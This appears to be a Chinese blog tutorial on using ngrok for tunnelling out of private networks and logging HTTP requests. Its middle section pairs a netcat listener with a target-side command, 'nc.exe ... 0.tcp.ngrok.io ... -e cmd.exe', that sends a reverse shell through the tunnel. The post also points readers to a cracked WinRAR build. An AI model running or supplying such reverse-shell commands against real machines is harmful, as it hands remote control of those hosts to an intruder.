ngrok一款内网穿透+记录HTTP请求的神器(支持HTTPS)

双方都是内网的反弹shell工具。

Ngrok的下载地址:https://ngrok.com/download


如果你是MAC OS X或者linux可以按照以下步骤安装。

$ unzip /path/to/ngrok.zip


然后查看他支持的命令

$ ./ngrokhelp

如果你是 windows下可以按照以下步骤安装


下载下了后选中文件,右键解压到当前文件夹。

什么,你右键菜单没有这个选项。

那么请安装《winrar烈火汉化破解版》。

然后有个窗口一闪而过。

之后会出现这个:



然后按下 微软徽标键+R (PS:微软徽标键就是 在你的键盘上Ctrl和Alt中间的那个键。)

输入cmd然后回车。


打开cmd后,将刚才解压出来的ngrok.exe拖入。

然后再输入help 回车。



可以看到它支持很多命令。

NAME:
  ngrok - tunnel local ports to public URLs and inspect traffic

DESCRIPTION:
   ngrok exposes local networked services behinds NATs and firewalls to the
   public internet over a secure tunnel. Share local websites, build/test
   webhook consumers and self-host personal services.
   Detailed help for each command is available with 'ngrok help<command>'.
   Open http://localhost:4040 for ngrok's web interface to inspect traffic.

EXAMPLES:
   ngrok http 80                    #secure public URL for port 80 web server
   ngrok http -subdomain=baz 8080   #port 8080 available at baz.ngrok.io
   ngrok http foo.dev:80            #tunnel to host:port instead of localhost
   ngrok tcp 22                     #tunnel arbitrary TCP traffic to port 22
   ngrok tls -hostname=foo.com 443  #TLS traffic for foo.com to port 443
   ngrok start foo bar baz          #start tunnels from the configuration file

VERSION:
  2.1.3

AUTHOR:
 inconshreveable - <alan@ngrok.com>

COMMANDS:
  authtoken    save authtoken toconfiguration file
  credits      prints author andlicensing information
  http         start an HTTP tunnel
  start        start tunnels by namefrom the configuration file
  tcp          start a TCP tunnel
  tls          start a TLS tunnel
  update       update ngrok to thelatest version
  version      print the versionstring
  help         Shows a list ofcommands or help for one command

使用前先要去注册个账号,

地址:https://dashboard.ngrok.com/user/login

不要告诉我你不会注册账号


先执行认证。

Windows图:


会提示你Authtoken saved toconfiguration file:认证文件存到哪里。

Linux图:


(PS:Authtoken懒得打码了,请不要搞事)

认证Token导入好后,开始讲内网穿透的部分。

./ngrok tcp 9999 **获得一个公网地址,如下图。


ngrok 是不能后台运行的,所以我们要借助screen(用法百度)实现后台运行。

然后再nc -vv -l -p 9999

然后目标机器(内网的windos笔记本)执行

nc.exe -vv 0.tcp.ngrok.io 15996 -e c:\Windows\System32\cmd.exe

0. tcp.ngrok.io 15996 为刚才利用ngrok 得到的公网地址,如下图

然后就反弹回来shell。(PS:由于作者手中没有内网的服务器所以没截图)

下面讲内网机器做HTTP请求记录器:

只需要执行ngrok.exe http 80就可以了。

会发现Tunnel Status online时

Forwarding                    http://771c988f.ngrok.io -> localhost:80
Forwarding                    https://771c988f.ngrok.io -> localhost:80

访问后会有记录。

http://localhost:4040是在线控制台,可以看请求的详细信息。


如果你在80端口搭建了HTTP服务器,那么他就不是显示这个页面:

而是将流量转发到HTTP服务上,访问的是自己内网的HTTP页面。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值